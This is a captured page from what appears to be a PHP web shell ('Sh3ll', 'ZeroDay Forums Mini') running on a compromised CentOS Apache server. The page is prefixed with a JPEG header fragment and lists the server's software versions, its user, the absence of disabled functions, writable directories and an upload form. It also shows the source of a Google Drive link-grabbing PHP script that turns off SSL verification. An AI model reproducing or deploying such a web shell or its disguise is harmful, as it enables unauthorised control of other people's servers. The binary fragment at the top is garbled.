ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/logs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/logs/drive_api.php
<?php
if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')){
    ob_start('ob_gzhandler');
}else{
    ob_start();
}
/*if(trim($_SERVER['REMOTE_ADDR'])!='212.237.5.228'){
    die('No access');
    exit();
}*/
include "simple_html_dom.php";
function str_encode($data,$pwd)
{
    $x = 0;
    $a = 0;
    $j = 0;
    $Zcrypt = '';
    $pwd_length = strlen($pwd);
    for ($i = 0; $i < 255; $i++) {
        $key[$i] = ord(substr($pwd, ($i % $pwd_length)+1, 1));
        $counter[$i] = $i;
    }
    for ($i = 0; $i < 255; $i++) {
        $x = ($x + $counter[$i] + $key[$i]) % 256;
        $temp_swap = $counter[$i];
        $counter[$i] = $counter[$x];
        $counter[$x] = $temp_swap;
    }
    for ($i = 0; $i < strlen($data); $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $counter[$a]) % 256;
        $temp = $counter[$a];
        $counter[$a] = $counter[$j];
        $counter[$j] = $temp;
        $k = $counter[(($counter[$a] + $counter[$j]) % 256)];
        $Zcipher = ord(substr($data, $i, 1)) ^ $k;
        $Zcrypt .= chr($Zcipher);
    }
    return $Zcrypt;
}
function getlink($id)
{
    $link = "https://drive.google.com/uc?export=download&id=$id";
    $ch = curl_init();
    curl_setopt ($ch, CURLOPT_URL, $link);
    curl_setopt($ch, CURLOPT_HEADER, TRUE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) . "/google.mp3");
    curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) . "/google.mp3");

    $page = curl_exec($ch);
    $chuyen =  locheader($page);
    if ($chuyen != ""){

    } else {
        $html = str_get_html($page);
        $link = urldecode(trim($html->find('a[id=uc-download-link]',0)->href));
        $tmp = explode("confirm=",$link);
        $tmp2 = explode("&",$tmp[1]);
        $confirm = $tmp2[0];
        $linkdowngoc = "https://drive.google.com/uc?export=download&id=$id&confirm=$confirm";
        curl_setopt ($ch, CURLOPT_URL, $linkdowngoc);
        curl_setopt($ch, CURLOPT_HEADER, TRUE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__) . "/google.mp3");
        curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__) . "/google.mp3");

        // Getting binary data
        $page = curl_exec($ch);
        $chuyen =  locheader($page);

    }
    curl_close($ch);
    return $chuyen;
}
function locheader($page)
{
    $temp = explode("\r\n", $page);
    foreach ($temp as $item) {
        $temp2 = explode(": ", $item);
        $infoheader[$temp2[0]] = $temp2[1];
    }
    $location = $infoheader['Location'];
    return $location;
}
    $id = $_GET['id'];
    $linkdown = trim(getlink($id));
    $arr_check = get_headers($linkdown,true);

    $arr['link'] = $linkdown ;
    $arr['type'] = $arr_check['Content-Type'];
    echo json_encode($arr);
?>
<?php
ob_end_flush();
exit();
?>

ZeroDay Forums Mini